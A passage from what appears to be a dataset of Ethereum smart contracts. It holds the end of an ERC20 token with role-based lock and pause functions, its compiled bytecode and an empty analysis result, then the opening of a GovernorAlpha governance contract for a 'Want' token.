function getAccountLock(address account) public view returns (uint256) {
return _lockBalance[account];
}
function setLock(address account, uint256 amount) onlyRole(LOCKER_ROLE) public returns (bool) {
require((balanceOf(account) - getAccountLock(account)) >= amount, "ERC20: lock amount is exceeded");
_lockBalance[account] += amount;
emit SetLock(account, amount);
return true;
}
function multiLock(address[] memory accounts, uint256[] memory amounts) onlyRole(LOCKER_ROLE) public returns (bool) {
require(accounts.length == amounts.length, "ERC20: lengths of two arrays are not equal");
for(uint i = 0; i < accounts.length; i++) {
setLock(accounts[i], amounts[i]);
}
return true;
}
function unlock(address account, uint256 amount) onlyRole(LOCKER_ROLE) public returns (bool) {
require(getAccountLock(account) >= amount, "ERC20: unlock amount is exceeded.");
_lockBalance[account] -= amount;
emit UnLock(account, amount);
return true;
}
function pause() public onlyRole(PAUSER_ROLE) {
_pause();
}
function unpause() public onlyRole(PAUSER_ROLE) {
_unpause();
}
function _beforeTokenTransfer(address from, address to, uint256 amount)
internal
whenNotPaused
override
{
super._beforeTokenTransfer(from, to, amount);
}
function multiTransfer(address[] memory accounts, uint256[] memory amounts) public returns (bool) {
require(accounts.length == amounts.length, "ERC20: lengths of two arrays are not equal");
for(uint i = 0; i < accounts.length; i++) {
_transfer(msg.sender, accounts[i], amounts[i]);
}
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal override {
require((balanceOf(sender) - getAccountLock(sender)) >= amount, "ERC20: transfer amount exceeds balance");
return super._transfer(sender, recipient, amount);
}
} | 0x608060405234801561001057600080fd5b50600436106101da5760003560e01c80635c975abb11610104578063a217fddf116100a2578063d547741f11610071578063d547741f146105b7578063dd62ed3e146105d3578063e63ab1e914610603578063f362136714610621576101da565b8063a217fddf14610509578063a457c2d714610527578063a9059cbb14610557578063b0fc29e614610587576101da565b80637eee288d116100de5780637eee288d146104815780638456cb59146104b157806391d14854146104bb57806395d89b41146104eb576101da565b80635c975abb1461041757806370a082311461043557806379cc679014610465576101da565b806323b872dd1161017c57806336568abe1161014b57806336568abe146103a557806339509351146103c15780633f4ba83a146103f157806342966c68146103fb576101da565b806323b872dd1461030b578063248a9ca31461033b5780632f2ff15d1461036b578063313ce56714610387576101da565b806311817ccd116101b857806311817ccd1461025d57806318160ddd1461028d5780631d0136a6146102ab5780631e89d545146102db576101da565b806301ffc9a7146101df57806306fdde031461020f578063095ea7b31461022d575b600080fd5b6101f960048036038101906101f491906123ee565b61063f565b60405161020691906127c0565b60405180910390f35b6102176106b9565b60405161022491906127f6565b60405180910390f35b610247600480360381019061024291906122e1565b61074b565b60405161025491906127c0565b60405180910390f35b6102776004803603810190610272919061231d565b61076e565b60405161028491906127c0565b60405180910390f35b61029561089c565b6040516102a29190612a18565b60405180910390f35b6102c560048036038101906102c0919061222d565b6108a6565b6040516102d29190612a18565b60405180910390f35b6102f560048036038101906102f0919061231d565b6108ef565b60405161030291906127c0565b60405180910390f35b61032560048036038101906103209190612292565b6109ea565b60405161033291906127c0565b60405180910390f35b61035560048036038101906103509190612389565b610a19565b60405161036291906127db565b60405180910390f35b610385600480360381019061038091906123b2565b610a39565b005b61038f610a62565b60405161039c9190612a33565b60405180910390f35b6103bf60048036038101906103ba91906123b2565b610a6b565b005b6103db60048036038101906103d691906122e1565b610aee565b6040516103e891906127c0565b60405180910390f35b6103f9610b98565b005b61041560048036038101906104109190612417565b610bd5565b005b61041f610be9565b60405161042c91906127c0565b60405180910390f35b61044f600480360381019061044a919061222d565b610c00565b60405161045c9190612a18565b60405180910390f35b61047f600480360381019061047a91906122e1565b610c48565b005b61049b600480360381019061049691906122e1565b610c68565b6040516104a891906127c0565b60405180910390f35b6104b9610d96565b005b6104d560048036038101906104d091906123b2565b610dd3565b6040516104e291906127c0565b60405180910390f35b6104f3610e3e565b60405161050091906127f6565b60405180910390f35b610511610ed0565b60405161051e91906127db565b60405180910390f35b610541600480360381019061053c91906122e1565b610ed7565b60405161054e91906127c0565b60405180910390f35b610571600480360381019061056c91906122e1565b610fc1565b60405161057e91906127c0565b60405180910390f35b6105a1600480360381019061059c91906122e1565b610fe4565b6040516105ae91906127c0565b60405180910390f35b6105d160048036038101906105cc91906123b2565b611125565b005b6105ed60048036038101906105e89190612256565b61114e565b6040516105fa9190612a18565b60405180910390f35b61060b6111d5565b60405161061891906127db565b60405180910390f35b6106296111f9565b60405161063691906127db565b60405180910390f35b60007f7965db0b000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff191614806106b257506106b182611222565b5b9050919050565b6060600380546106c890612cbe565b80601f01602080910402602001604051908101604052809291908181526020018280546106f490612cbe565b80156107415780601f1061071657610100808354040283529160200191610741565b820191906000526020600020905b81548152906001019060200180831161072457829003601f168201915b5050505050905090565b60008061075661128c565b9050610763818585611294565b600191505092915050565b60007faf9a8bb3cbd6b84fbccefa71ff73e26e798553c6914585a84886212a46a902796107a28161079d61128c565b61145f565b82518451146107e6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107dd90612958565b60405180910390fd5b60005b84518110156108905761087c85828151811061082e577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015185838151811061086f577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6020026020010151610fe4565b50808061088890612d21565b9150506107e9565b50600191505092915050565b6000600254905090565b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60008151835114610935576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161092c90612958565b60405180910390fd5b60005b83518110156109df576109cc3385838151811061097e577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60200260200101518584815181106109bf577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60200260200101516114fc565b80806109d790612d21565b915050610938565b506001905092915050565b6000806109f561128c565b9050610a0285828561156a565b610a0d8585856114fc565b60019150509392505050565b600060066000838152602001908152602001600020600101549050919050565b610a4282610a19565b610a5381610a4e61128c565b61145f565b610a5d83836115f6565b505050565b60006012905090565b610a7361128c565b73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614610ae0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ad7906129f8565b60405180910390fd5b610aea82826116d7565b5050565b600080610af961128c565b9050610b8d818585600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610b889190612af2565b611294565b600191505092915050565b7f65d7a28e3265b37a6474929f336521b332c1681b933f6cb9f3376673440d862a610bca81610bc561128c565b61145f565b610bd26117b9565b50565b610be6610be061128c565b8261185b565b50565b6000600560009054906101000a900460ff16905090565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610c5a82610c5461128c565b8361156a565b610c64828261185b565b5050565b60007faf9a8bb3cbd6b84fbccefa71ff73e26e798553c6914585a84886212a46a90279610c9c81610c9761128c565b61145f565b82610ca6856108a6565b1015610ce7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cde906128b8565b60405180910390fd5b82600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610d369190612ba2565b925050819055508373ffffffffffffffffffffffffffffffffffffffff167fb371d42b3715509a27f3109f6ac1ef6b7d7e7f8e9232b738ed17338be6cf958084604051610d839190612a18565b60405180910390a2600191505092915050565b7f65d7a28e3265b37a6474929f336521b332c1681b933f6cb9f3376673440d862a610dc881610dc361128c565b61145f565b610dd0611a32565b50565b60006006600084815260200190815260200160002060000160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16905092915050565b606060048054610e4d90612cbe565b80601f0160208091040260200160405190810160405280929190818152602001828054610e7990612cbe565b8015610ec65780601f10610e9b57610100808354040283529160200191610ec6565b820191906000526020600020905b815481529060010190602001808311610ea957829003601f168201915b5050505050905090565b6000801b81565b600080610ee261128c565b90506000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905083811015610fa8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f9f906129d8565b60405180910390fd5b610fb58286868403611294565b60019250505092915050565b600080610fcc61128c565b9050610fd98185856114fc565b600191505092915050565b60007faf9a8bb3cbd6b84fbccefa71ff73e26e798553c6914585a84886212a46a902796110188161101361128c565b61145f565b82611022856108a6565b61102b86610c00565b6110359190612ba2565b1015611076576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161106d90612938565b60405180910390fd5b82600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546110c59190612af2565b925050819055508373ffffffffffffffffffffffffffffffffffffffff167feeadb1bb1464237a1f954d4d7922f3912f0a5ecd87477e58beade6aeda0c8fdb846040516111129190612a18565b60405180910390a2600191505092915050565b61112e82610a19565b61113f8161113a61128c565b61145f565b61114983836116d7565b505050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b7f65d7a28e3265b37a6474929f336521b332c1681b933f6cb9f3376673440d862a81565b7faf9a8bb3cbd6b84fbccefa71ff73e26e798553c6914585a84886212a46a9027981565b505050565b60007f01ffc9a7000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916149050919050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611304576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112fb906129b8565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611374576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161136b90612898565b60405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516114529190612a18565b60405180910390a3505050565b6114698282610dd3565b6114f85761148e8173ffffffffffffffffffffffffffffffffffffffff166014611ad5565b61149c8360001c6020611ad5565b6040516020016114ad92919061276b565b6040516020818303038152906040526040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114ef91906127f6565b60405180910390fd5b5050565b80611506846108a6565b61150f85610c00565b6115199190612ba2565b101561155a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611551906128f8565b60405180910390fd5b611565838383611dcf565b505050565b6000611576848461114e565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff81146115f057818110156115e2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115d9906128d8565b60405180910390fd5b6115ef8484848403611294565b5b50505050565b6116008282610dd3565b6116d35760016006600084815260200190815260200160002060000160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555061167861128c565b73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16837f2f8788117e7eff1d82e926ec794901d17c78024a50270940304540a733656f0d60405160405180910390a45b5050565b6116e18282610dd3565b156117b55760006006600084815260200190815260200160002060000160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555061175a61128c565b73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16837ff6391f5c32d9c69d2a47ea670b442974b53935d1edc7fd64eb21e047a839171b60405160405180910390a45b5050565b6117c1610be9565b611800576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117f790612858565b60405180910390fd5b6000600560006101000a81548160ff0219169083151502179055507f5db9ee0a495bf2e6ff9c91a7834c1ba4fdd244a5e8aa4e537bd38aeae4b073aa61184461128c565b60405161185191906127a5565b60405180910390a1565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156118cb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118c290612978565b60405180910390fd5b6118d782600083612050565b60008060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508181101561195d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161195490612878565b60405180910390fd5b8181036000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600260008282546119b49190612ba2565b92505081905550600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611a199190612a18565b60405180910390a3611a2d836000846120a8565b505050565b611a3a610be9565b15611a7a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a7190612918565b60405180910390fd5b6001600560006101000a81548160ff0219169083151502179055507f62e78cea01bee320cd4e420270b5ea74000d11b0c9f74754ebdbfc544b05a258611abe61128c565b604051611acb91906127a5565b60405180910390a1565b606060006002836002611ae89190612b48565b611af29190612af2565b67ffffffffffffffff811115611b31577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6040519080825280601f01601f191660200182016040528015611b635781602001600182028036833780820191505090505b5090507f300000000000000000000000000000000000000000000000000000000000000081600081518110611bc1577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a9053507f780000000000000000000000000000000000000000000000000000000000000081600181518110611c4b577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a90535060006001846002611c8b9190612b48565b611c959190612af2565b90505b6001811115611d81577f3031323334353637383961626364656600000000000000000000000000000000600f861660108110611cfd577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b1a60f81b828281518110611d3a577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a905350600485901c945080611d7a90612c94565b9050611c98565b5060008414611dc5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dbc90612818565b60405180910390fd5b8091505092915050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611e3f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e3690612998565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611eaf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ea690612838565b60405180910390fd5b611eba838383612050565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015611f40576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f37906128f8565b60405180910390fd5b8181036000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254611fd39190612af2565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516120379190612a18565b60405180910390a361204a8484846120a8565b50505050565b612058610be9565b15612098576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161208f90612918565b60405180910390fd5b6120a383838361121d565b505050565b505050565b60006120c06120bb84612a73565b612a4e565b905080838252602082019050828560208602820111156120df57600080fd5b60005b8581101561210f57816120f58882612185565b8452602084019350602083019250506001810190506120e2565b5050509392505050565b600061212c61212784612a9f565b612a4e565b9050808382526020820190508285602086028201111561214b57600080fd5b60005b8581101561217b57816121618882612218565b84526020840193506020830192505060018101905061214e565b5050509392505050565b6000813590506121948161328c565b92915050565b600082601f8301126121ab57600080fd5b81356121bb8482602086016120ad565b91505092915050565b600082601f8301126121d557600080fd5b81356121e5848260208601612119565b91505092915050565b6000813590506121fd816132a3565b92915050565b600081359050612212816132ba565b92915050565b600081359050612227816132d1565b92915050565b60006020828403121561223f57600080fd5b600061224d84828501612185565b91505092915050565b6000806040838503121561226957600080fd5b600061227785828601612185565b925050602061228885828601612185565b9150509250929050565b6000806000606084860312156122a757600080fd5b60006122b586828701612185565b93505060206122c686828701612185565b92505060406122d786828701612218565b9150509250925092565b600080604083850312156122f457600080fd5b600061230285828601612185565b925050602061231385828601612218565b9150509250929050565b6000806040838503121561233057600080fd5b600083013567ffffffffffffffff81111561234a57600080fd5b6123568582860161219a565b925050602083013567ffffffffffffffff81111561237357600080fd5b61237f858286016121c4565b9150509250929050565b60006020828403121561239b57600080fd5b60006123a9848285016121ee565b91505092915050565b600080604083850312156123c557600080fd5b60006123d3858286016121ee565b92505060206123e485828601612185565b9150509250929050565b60006020828403121561240057600080fd5b600061240e84828501612203565b91505092915050565b60006020828403121561242957600080fd5b600061243784828501612218565b91505092915050565b61244981612bd6565b82525050565b61245881612be8565b82525050565b61246781612bf4565b82525050565b600061247882612acb565b6124828185612ad6565b9350612492818560208601612c61565b61249b81612df7565b840191505092915050565b60006124b182612acb565b6124bb8185612ae7565b93506124cb818560208601612c61565b80840191505092915050565b60006124e4602083612ad6565b91506124ef82612e08565b602082019050919050565b6000612507602383612ad6565b915061251282612e31565b604082019050919050565b600061252a601483612ad6565b915061253582612e80565b602082019050919050565b600061254d602283612ad6565b915061255882612ea9565b604082019050919050565b6000612570602283612ad6565b915061257b82612ef8565b604082019050919050565b6000612593602183612ad6565b915061259e82612f47565b604082019050919050565b60006125b6601d83612ad6565b91506125c182612f96565b602082019050919050565b60006125d9602683612ad6565b91506125e482612fbf565b604082019050919050565b60006125fc601083612ad6565b91506126078261300e565b602082019050919050565b600061261f601e83612ad6565b915061262a82613037565b602082019050919050565b6000612642602a83612ad6565b915061264d82613060565b604082019050919050565b6000612665602183612ad6565b9150612670826130af565b604082019050919050565b6000612688602583612ad6565b9150612693826130fe565b604082019050919050565b60006126ab602483612ad6565b91506126b68261314d565b604082019050919050565b60006126ce601783612ae7565b91506126d98261319c565b601782019050919050565b60006126f1602583612ad6565b91506126fc826131c5565b604082019050919050565b6000612714601183612ae7565b915061271f82613214565b601182019050919050565b6000612737602f83612ad6565b91506127428261323d565b604082019050919050565b61275681612c4a565b82525050565b61276581612c54565b82525050565b6000612776826126c1565b915061278282856124a6565b915061278d82612707565b915061279982846124a6565b91508190509392505050565b60006020820190506127ba6000830184612440565b92915050565b60006020820190506127d5600083018461244f565b92915050565b60006020820190506127f0600083018461245e565b92915050565b60006020820190508181036000830152612810818461246d565b905092915050565b60006020820190508181036000830152612831816124d7565b9050919050565b60006020820190508181036000830152612851816124fa565b9050919050565b600060208201905081810360008301526128718161251d565b9050919050565b6000602082019050818103600083015261289181612540565b9050919050565b600060208201905081810360008301526128b181612563565b9050919050565b600060208201905081810360008301526128d181612586565b9050919050565b600060208201905081810360008301526128f1816125a9565b9050919050565b60006020820190508181036000830152612911816125cc565b9050919050565b60006020820190508181036000830152612931816125ef565b9050919050565b6000602082019050818103600083015261295181612612565b9050919050565b6000602082019050818103600083015261297181612635565b9050919050565b6000602082019050818103600083015261299181612658565b9050919050565b600060208201905081810360008301526129b18161267b565b9050919050565b600060208201905081810360008301526129d18161269e565b9050919050565b600060208201905081810360008301526129f1816126e4565b9050919050565b60006020820190508181036000830152612a118161272a565b9050919050565b6000602082019050612a2d600083018461274d565b92915050565b6000602082019050612a48600083018461275c565b92915050565b6000612a58612a69565b9050612a648282612cf0565b919050565b6000604051905090565b600067ffffffffffffffff821115612a8e57612a8d612dc8565b5b602082029050602081019050919050565b600067ffffffffffffffff821115612aba57612ab9612dc8565b5b602082029050602081019050919050565b600081519050919050565b600082825260208201905092915050565b600081905092915050565b6000612afd82612c4a565b9150612b0883612c4a565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115612b3d57612b3c612d6a565b5b828201905092915050565b6000612b5382612c4a565b9150612b5e83612c4a565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615612b9757612b96612d6a565b5b828202905092915050565b6000612bad82612c4a565b9150612bb883612c4a565b925082821015612bcb57612bca612d6a565b5b828203905092915050565b6000612be182612c2a565b9050919050565b60008115159050919050565b6000819050919050565b60007fffffffff0000000000000000000000000000000000000000000000000000000082169050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b83811015612c7f578082015181840152602081019050612c64565b83811115612c8e576000848401525b50505050565b6000612c9f82612c4a565b91506000821415612cb357612cb2612d6a565b5b600182039050919050565b60006002820490506001821680612cd657607f821691505b60208210811415612cea57612ce9612d99565b5b50919050565b612cf982612df7565b810181811067ffffffffffffffff82111715612d1857612d17612dc8565b5b80604052505050565b6000612d2c82612c4a565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415612d5f57612d5e612d6a565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f537472696e67733a20686578206c656e67746820696e73756666696369656e74600082015250565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f5061757361626c653a206e6f7420706175736564000000000000000000000000600082015250565b7f45524332303a206275726e20616d6f756e7420657863656564732062616c616e60008201527f6365000000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20756e6c6f636b20616d6f756e7420697320657863656564656460008201527f2e00000000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000600082015250565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b7f5061757361626c653a2070617573656400000000000000000000000000000000600082015250565b7f45524332303a206c6f636b20616d6f756e742069732065786365656465640000600082015250565b7f45524332303a206c656e67746873206f662074776f206172726179732061726560008201527f206e6f7420657175616c00000000000000000000000000000000000000000000602082015250565b7f45524332303a206275726e2066726f6d20746865207a65726f2061646472657360008201527f7300000000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f416363657373436f6e74726f6c3a206163636f756e7420000000000000000000600082015250565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b7f206973206d697373696e6720726f6c6520000000000000000000000000000000600082015250565b7f416363657373436f6e74726f6c3a2063616e206f6e6c792072656e6f756e636560008201527f20726f6c657320666f722073656c660000000000000000000000000000000000602082015250565b61329581612bd6565b81146132a057600080fd5b50565b6132ac81612bf4565b81146132b757600080fd5b50565b6132c381612bfe565b81146132ce57600080fd5b50565b6132da81612c4a565b81146132e557600080fd5b5056fea264697066735822122031bc5b35237885f958fdf794181db1db1f084d817378ce7274eac4d7df87995064736f6c63430008040033 | {"success": true, "error": null, "results": {}} | 1,140 |
0xD8B9c125B37898C9da10bfAE710cB9BD44971826 | pragma solidity ^0.5.16;
pragma experimental ABIEncoderV2;
contract GovernorAlpha {
/// @notice The name of this contract
string public constant name = "Want Governor Alpha";
/// @notice The number of votes in support of a proposal required in order for a quorum to be reached and for a vote to succeed
function quorumVotes() public pure returns (uint) { return 2000e18; } // 2,000 = 2% of Want
/// @notice The number of votes required in order for a voter to become a proposer
function proposalThreshold() public pure returns (uint) { return 500e18; } // 500 = 0.5% of Want
/// @notice The maximum number of actions that can be included in a proposal
function proposalMaxOperations() public pure returns (uint) { return 10; } // 10 actions
/// @notice The delay before voting on a proposal may take place, once proposed
function votingDelay() public pure returns (uint) { return 1; } // 1 block
/// @notice The duration of voting on a proposal, in blocks
function votingPeriod() public pure returns (uint) { return 11520; } // ~2 days in blocks (assuming 15s blocks)
/// @notice The address of the Streak Protocol Timelock
TimelockInterface public timelock;
/// @notice The address of the Streak governance token
WantInterface public want;
/// @notice The address of the Governor Guardian
address public guardian;
/// @notice The total number of proposals
uint public proposalCount;
struct Proposal {
/// @notice Unique id for looking up a proposal
uint id;
/// @notice Creator of the proposal
address proposer;
/// @notice The timestamp that the proposal will be available for execution, set once the vote succeeds
uint eta;
/// @notice the ordered list of target addresses for calls to be made
address[] targets;
/// @notice The ordered list of values (i.e. msg.value) to be passed to the calls to be made
uint[] values;
/// @notice The ordered list of function signatures to be called
string[] signatures;
/// @notice The ordered list of calldata to be passed to each call
bytes[] calldatas;
/// @notice The block at which voting begins: holders must delegate their votes prior to this block
uint startBlock;
/// @notice The block at which voting ends: votes must be cast prior to this block
uint endBlock;
/// @notice Current number of votes in favor of this proposal
uint forVotes;
/// @notice Current number of votes in opposition to this proposal
uint againstVotes;
/// @notice Flag marking whether the proposal has been canceled
bool canceled;
/// @notice Flag marking whether the proposal has been executed
bool executed;
/// @notice Receipts of ballots for the entire set of voters
mapping (address => Receipt) receipts;
}
/// @notice Ballot receipt record for a voter
struct Receipt {
/// @notice Whether or not a vote has been cast
bool hasVoted;
/// @notice Whether or not the voter supports the proposal
bool support;
/// @notice The number of votes the voter had, which were cast
uint96 votes;
}
/// @notice Possible states that a proposal may be in
enum ProposalState {
Pending,
Active,
Canceled,
Defeated,
Succeeded,
Queued,
Expired,
Executed
}
/// @notice The official record of all proposals ever proposed
mapping (uint => Proposal) public proposals;
/// @notice The latest proposal for each proposer
mapping (address => uint) public latestProposalIds;
/// @notice The EIP-712 typehash for the contract's domain
bytes32 public constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,uint256 chainId,address verifyingContract)");
/// @notice The EIP-712 typehash for the ballot struct used by the contract
bytes32 public constant BALLOT_TYPEHASH = keccak256("Ballot(uint256 proposalId,bool support)");
/// @notice An event emitted when a new proposal is created
event ProposalCreated(uint id, address proposer, address[] targets, uint[] values, string[] signatures, bytes[] calldatas, uint startBlock, uint endBlock, string description);
/// @notice An event emitted when a vote has been cast on a proposal
event VoteCast(address voter, uint proposalId, bool support, uint votes);
/// @notice An event emitted when a proposal has been canceled
event ProposalCanceled(uint id);
/// @notice An event emitted when a proposal has been queued in the Timelock
event ProposalQueued(uint id, uint eta);
/// @notice An event emitted when a proposal has been executed in the Timelock
event ProposalExecuted(uint id);
constructor(address timelock_, address want_, address guardian_) public {
timelock = TimelockInterface(timelock_);
want = WantInterface(want_);
guardian = guardian_;
}
function propose(address[] memory targets, uint[] memory values, string[] memory signatures, bytes[] memory calldatas, string memory description) public returns (uint) {
require(want.getPriorVotes(msg.sender, sub256(block.number, 1)) > proposalThreshold(), "GovernorAlpha::propose: proposer votes below proposal threshold");
require(targets.length == values.length && targets.length == signatures.length && targets.length == calldatas.length, "GovernorAlpha::propose: proposal function information arity mismatch");
require(targets.length != 0, "GovernorAlpha::propose: must provide actions");
require(targets.length <= proposalMaxOperations(), "GovernorAlpha::propose: too many actions");
uint latestProposalId = latestProposalIds[msg.sender];
if (latestProposalId != 0) {
ProposalState proposersLatestProposalState = state(latestProposalId);
require(proposersLatestProposalState != ProposalState.Active, "GovernorAlpha::propose: one live proposal per proposer, found an already active proposal");
require(proposersLatestProposalState != ProposalState.Pending, "GovernorAlpha::propose: one live proposal per proposer, found an already pending proposal");
}
uint startBlock = add256(block.number, votingDelay());
uint endBlock = add256(startBlock, votingPeriod());
proposalCount++;
Proposal memory newProposal = Proposal({
id: proposalCount,
proposer: msg.sender,
eta: 0,
targets: targets,
values: values,
signatures: signatures,
calldatas: calldatas,
startBlock: startBlock,
endBlock: endBlock,
forVotes: 0,
againstVotes: 0,
canceled: false,
executed: false
});
proposals[newProposal.id] = newProposal;
latestProposalIds[newProposal.proposer] = newProposal.id;
emit ProposalCreated(newProposal.id, msg.sender, targets, values, signatures, calldatas, startBlock, endBlock, description);
return newProposal.id;
}
function queue(uint proposalId) public {
require(state(proposalId) == ProposalState.Succeeded, "GovernorAlpha::queue: proposal can only be queued if it is succeeded");
Proposal storage proposal = proposals[proposalId];
uint eta = add256(block.timestamp, timelock.delay());
for (uint i = 0; i < proposal.targets.length; i++) {
_queueOrRevert(proposal.targets[i], proposal.values[i], proposal.signatures[i], proposal.calldatas[i], eta);
}
proposal.eta = eta;
emit ProposalQueued(proposalId, eta);
}
